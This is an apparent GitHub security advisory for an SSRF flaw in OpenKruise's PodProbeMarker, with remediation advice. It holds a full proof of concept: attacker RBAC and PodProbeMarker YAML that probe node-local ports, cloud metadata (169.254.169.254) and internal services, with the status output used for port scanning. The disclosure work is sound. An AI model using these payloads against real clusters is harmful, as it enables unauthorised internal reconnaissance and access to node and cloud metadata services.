GHSA-9fj4-3849-rv9g OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field

• Go github.com/openkruise/kruise: >= 1.8.0, < 1.8.3 → fixed in 1.8.3 • Go github.com/openkruise/kruise: < 1.7.5 → fixed in 1.7.5

Summary PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages. Kubernetes Version • Kubernetes: v1.30.0 (kind cluster) • Distribution: kind Component Version • OpenKruise: v1.8.0 • kruise-daemon: DaemonSet with hostNetwork=true • Affected CRDs: PodProbeMarker, NodePodProbe Steps To Reproduce Environment Setup 1. Install OpenKruise v1.8.0 in kind cluster: ```bash helm repo add openkruise https://openkruise.github.io/charts/ helm install kruise openkruise/kruise --version 1.8.0 \ --namespace kruise-system --create-namespace ``` 2. Verify kruise-daemon runs with hostNetwork: ```bash kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork ``` Output: ``` hostNetwork: true ``` 3. Create test namespace and RBAC: ```bash kubectl apply -f - <<EOF apiVersion: v1 kind: Namespace metadata: name: tenant-a --- apiVersion: v1 kind: ServiceAccount metadata: name: attacker namespace: tenant-a --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: ppm-creator namespace: tenant-a rules: • apiGroups: ["apps.kruise.io"] resources: ["podprobemarkers"] verbs: ["create","get","list","watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: ppm-creator-binding namespace: tenant-a subjects: • kind: ServiceAccount name: attacker namespace: tenant-a roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: ppm-creator EOF ``` 4. Deploy victim workload: ```bash kubectl apply -f - <<EOF apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: tenant-a spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: • name: victim image: busybox:1.36 command: ["/bin/sh","-c","sleep 36000"] EOF ``` Exploitation Steps 5. Verify node-local port accessibility (kubelet healthz): ```bash NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane) docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz ``` Output: ``` 200 ``` 6. Create SSRF PodProbeMarker targeting node-local port (as attacker): ```bash kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF apiVersion: apps.kruise.io/v1alpha1 kind: PodProbeMarker metadata: name: ppm-tcp-ssrf namespace: tenant-a spec: selector: matchLabels: app: victim probes: • name: tcp-ssrf containerName: victim podConditionType: ssrf.kruise.io/tcp probe: tcpSocket: host: 127.0.0.1 port: 10248 timeoutSeconds: 2 periodSeconds: 5 EOF ``` Output: ``` podprobemarker.apps.kruise.io/ppm-tcp-ssrf created ``` 7. Wait for probe execution and observe SSRF result: ```bash sleep 10 NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}') kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf" ``` Output: ```yaml name: ppm-tcp-ssrf#tcp-ssrf probe: tcpSocket: host: 127.0.0.1 port: 10248 status: podProbeStatuses: • name: victim-8596ff64d6-jklnb namespace: tenant-a probeStates: • lastProbeTime: "2026-01-13T17:48:10Z" name: ppm-tcp-ssrf#tcp-ssrf state: Succeeded ``` Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace. 8. Demonstrate port scanning capability (closed port): ```bash kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF apiVersion: apps.kruise.io/v1alpha1 kind: PodProbeMarker metadata: name: ppm-tcp-closed namespace: tenant-a spec: selector: matchLabels: app: victim probes: • name: tcp-closed containerName: victim podConditionType: ssrf.kruise.io/tcp-closed probe: tcpSocket: host: 127.0.0.1 port: 9999 timeoutSeconds: 2 periodSeconds: 5 EOF ``` 9. Observe port scanning result: ```bash kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed" ``` Output: ```yaml • lastProbeTime: "2026-01-13T17:51:08Z" message: 'dial tcp 127.0.0.1:9999: connect: connection refused' name: ppm-tcp-closed#tcp-closed state: Failed ``` Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning. 10. Verify Pod condition and events: ```bash VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}') kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:" ``` Output: ``` Conditions: Type Status ssrf.kruise.io/tcp True ssrf.kruise.io/tcp-closed False Events: Normal KruiseProbeSucceeded 96s (x24 over 3m26s) kruise-daemon-podprobe ``` Source Code Evidence 11. TCPSocket Host field used without restriction: File: `pkg/daemon/podprobe/prober.go` ```go func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber { host := tcp.Host if host == "" { host = podIP } return tcpProber{ tcp: tcp, host: host, } } ``` 12. Webhook validation does not check Host field: File: `pkg/webhook/podprobemarker/validating/probe_create_update_handler.go` ```go func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList { return ValidatePortNumOrName(tcp.Port, fldPath.Child("port")) } ``` Note: Only port validation, no Host restriction. Attack Scenarios Scenario 1 - Cloud metadata access: ```yaml probe: tcpSocket: host: 169.254.169.254 port: 80 ``` Scenario 2 - Internal service discovery: ```yaml probe: tcpSocket: host: 10.0.0.1 port: 6379 ``` Scenario 3 - Node-local kubelet API: ```yaml probe: tcpSocket: host: 127.0.0.1 port: 10250 ``` Supporting Material/References Verification Evidence 1. kruise-daemon hostNetwork configuration: ```bash $ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork" hostNetwork: true restartPolicy: Always ``` 2. Successful SSRF to open port (127.0.0.1:10248): ```yaml status: podProbeStatuses: probeStates: • name: ppm-tcp-ssrf#tcp-ssrf state: Succeeded ``` 3. Port scanning result for closed port (127.0.0.1:9999): ```yaml status: podProbeStatuses: probeStates: • message: 'dial tcp 127.0.0.1:9999: connect: connection refused' name: ppm-tcp-closed#tcp-closed state: Failed ``` 4. Pod condition reflecting probe results: ``` Conditions: Type Status ssrf.kruise.io/tcp True ssrf.kruise.io/tcp-closed False ``` Impact Assessment • Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources. • Integrity: Low. Primarily information disclosure. • Availability: Medium. Resource consumption from probe requests. Limitations HTTPGet probe rejected by webhook in OpenKruise v1.8.0: ``` Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe ``` TCPSocket probe remains vulnerable. Remediation Temporary mitigation: • Restrict PodProbeMarker creation permissions • Apply network policies limiting kruise-daemon egress • Audit existing PodProbeMarker resources Permanent fix: • Enforce Host field restrictions in webhook validation • Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16) • Require Host to be empty or equal to PodIP • Sanitize error messages in N…